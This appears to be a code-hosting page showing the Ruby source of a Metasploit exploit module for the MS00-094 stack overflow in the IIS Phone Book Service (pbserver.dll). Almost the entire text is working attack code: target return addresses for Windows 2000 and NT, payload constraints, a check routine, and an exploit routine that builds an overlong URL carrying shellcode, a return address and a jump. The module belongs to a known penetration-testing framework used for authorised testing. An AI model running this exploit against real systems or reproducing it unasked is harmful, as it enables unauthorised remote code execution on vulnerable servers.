Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/isapi/ms00_094_pbserver.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'MS00-094 Microsoft IIS Phone Book Service Overflow',13'Description' => %q{14This is an exploit for the Phone Book Service /pbserver/pbserver.dll15described in MS00-094. By sending an overly long URL argument16for phone book updates, it is possible to overwrite the stack. This17module has only been tested against Windows 2000 SP1.18},19'Author' => [ 'aushack' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2000-1089' ],24[ 'OSVDB', '463' ],25[ 'BID', '2048' ],26[ 'MSB', 'MS00-094' ],27],28'Privileged' => false,29'DefaultOptions' =>30{31'EXITFUNC' => 'thread',32},33'Payload' =>34{35'Space' => 896,36'BadChars' => "\x00\x0a\x0d\x20%&=?",37'StackAdjustment' => -3500,38},39'Platform' => 'win',40'Targets' =>41[42['Windows 2000 SP1', { 'Ret' => 0x77e8898b }], # jmp esp kernel32.dll43['Windows 2000 SP0', { 'Ret' => 0x77ea162b }], # call esp kernel32.dll44['Windows NT SP6', { 'Ret' => 0x77f32836 }], # jmp esp kernel32.dll45],46'DisclosureDate' => '2000-12-04',47'DefaultTarget' => 0))4849register_options(50[51OptString.new('URL', [ true, "The path to pbserver.dll", "/pbserver/pbserver.dll" ]),52])53end5455def check56print_status("Requesting the vulnerable ISAPI path...")57res = send_request_raw({58'uri' => normalize_uri(datastore['URL'])59}, 5)6061if (res and res.code == 400)62return Exploit::CheckCode::Detected63end64return Exploit::CheckCode::Safe65end6667def exploit6869print_status("Sending overflow...")7071res = send_request_raw({72'uri' => normalize_uri(datastore['URL']) + '?&&&&&&pb=' + payload.encoded + [target['Ret']].pack('V') + make_nops(8) + Rex::Arch::X86.jmp(-912)73}, 5)7475handler7677end78end798081